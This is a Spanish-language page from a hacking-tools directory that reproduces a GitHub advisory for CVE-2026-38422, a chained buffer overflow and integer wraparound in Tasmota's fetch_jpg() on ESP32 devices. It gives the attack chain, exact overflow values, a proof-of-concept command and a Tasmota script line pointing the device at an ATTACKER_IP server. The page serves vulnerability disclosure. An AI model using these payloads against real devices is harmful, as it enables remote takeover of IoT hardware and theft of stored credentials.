Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-38422 — CVE-2026-38422 — Ejecución Remota de Código mediante Desbordamientos de Búfer Combinados en Tasmota fetch_jpg() (Tasmota <= 15.3.0.3) | Kitploit
Herramientas/GitHubGitHub/sermikr0/cve-2026-38422
Seguridad de Sistemas EmbebidosSeguridad IoTAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónSeguridad de Hardware e IoTHerramienta de Acceso RemotoExplotación de Binarios
GitHubsermikr0/cve-2026-38422

CVE-2026-38422

CVE-2026-38422 — Ejecución Remota de Código mediante Desbordamientos de Búfer Combinados en Tasmota fetch_jpg() (Tasmota <= 15.3.0.3)

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-38422: Ejecución remota de código mediante desbordamientos de búfer combinados en Tasmota fetch_jpg()

CVE: CVE-2026-38422
Gravedad: Crítica (CVSS 9.8)
Producto: Arendst Tasmota
Versión afectada: <= 15.3.0.3
Archivo: tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
Función: fetch_jpg()
Autor: Saidakbarxon Maxsudxonov
Divulgación: Responsable: notificado a Tasmota antes de la publicación


Resumen

La función fetch_jpg() en el controlador de scripts de Tasmota (xdrv_10_scripter.ino) contiene dos vulnerabilidades de corrupción de memoria que se combinan y que, juntas, permiten la ejecución remota de código en dispositivos basados en ESP32 que ejecutan Tasmota <= 15.3.0.3:

  1. Fase 1 (caso 0): desbordamiento de strcpy() en un búfer fijo boundary[] de 40 bytes — corrompe la memoria adyacente del heap, incluidos los punteros vtable de WiFiClient/HTTPClient (ver también CVE-2026-38426)
  2. Fase 2 (caso 2): desbordamiento (wraparound) de entero uint16_t en Content-Length — asigna un búfer de tamaño insuficiente que causa corrupción del estado de la transmisión (ver también CVE-2026-38427)

Usadas juntas en una única sesión de ataque, estas dos primitivas maximizan la corrupción del heap y aumentan significativamente la probabilidad de lograr la ejecución de código arbitrario.


Cadena de vulnerabilidad

root@kitploit:~
Attacker MJPEG Server
       │
       │ Phase 1: HTTP 200 response with long boundary string
       │   Content-Type: multipart/x-mixed-replace; boundary=AAAA...AAAA (50+ chars)
       │   → strcpy(boundary[40], 50_chars) → OVERFLOW
       │   → WiFiClient vtable ptr partially overwritten
       ▼
  ESP32 Heap Corrupted
       │
       │ Phase 2: MJPEG frame with Content-Length > 65535
       │   Content-Length: 65537
       │   → uint16_t size = 1 (wraparound)
       │   → malloc(1), readBytes(buff, 1)
       │   → 65536 bytes remain in stream → heap/stream corruption
       ▼
  Double Corruption → RCE / Guaranteed DoS

Prueba de concepto

root@kitploit:~
# Combined attack — phase 1 + phase 2
python3 CVE-2026-38422_poc.py --port 8887 --mode dos

El servidor PoC:

  1. Acepta la conexión de Tasmota (disparador fetchjp())
  2. Fase 1: envía una respuesta HTTP 200 inicial con una cadena boundary de 80 caracteres (desbordamiento)
  3. Fase 2: envía tramas MJPEG con Content-Length: 65537 (wraparound)

Consulte CVE-2026-38422_poc.py para ver la implementación completa.


Disparo mediante script de Tasmota

root@kitploit:~
>D
>B
fetchjp(ATTACKER_IP:8887/stream,0,0,1)
>1
=fetchjp(2,0,0,1)

El dispositivo debe estar ejecutando un script de Tasmota que use fetchjp(). El atacante controla el servidor al que se conecta el dispositivo (o realiza un MITM en una conexión existente).


Impacto

  • Confidencialidad: Alta: RCE en el ESP32, acceso a secretos/credenciales del dispositivo
  • Integridad: Alta: control total del dispositivo
  • Disponibilidad: Alta: caída/bucle de reinicio garantizado
  • Vector de ataque: Red (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
  • Puntuación CVSS: 9.8 Crítica

Dispositivos afectados

Cualquier dispositivo Tasmota basado en ESP32 que ejecute una versión <= 15.3.0.3 con soporte de scripter habilitado y un script que use fetchjp() para conectarse a un servidor MJPEG externo.


Cronología

  • 2026-03-29: ambas vulnerabilidades descubiertas y notificadas a MITRE
  • 2026-03-29: asignado CVE-2026-38422
  • 2026-05-xx: parche publicado por Tasmota (v15.3.0.4+)

Referencias

  • Tasmota GitHub
  • xdrv_10_scripter.ino
  • CVE-2026-38422
  • Relacionado: CVE-2026-38426 (desbordamiento de strcpy)
  • Relacionado: CVE-2026-38427 (wraparound de uint16_t)
Descargar herramienta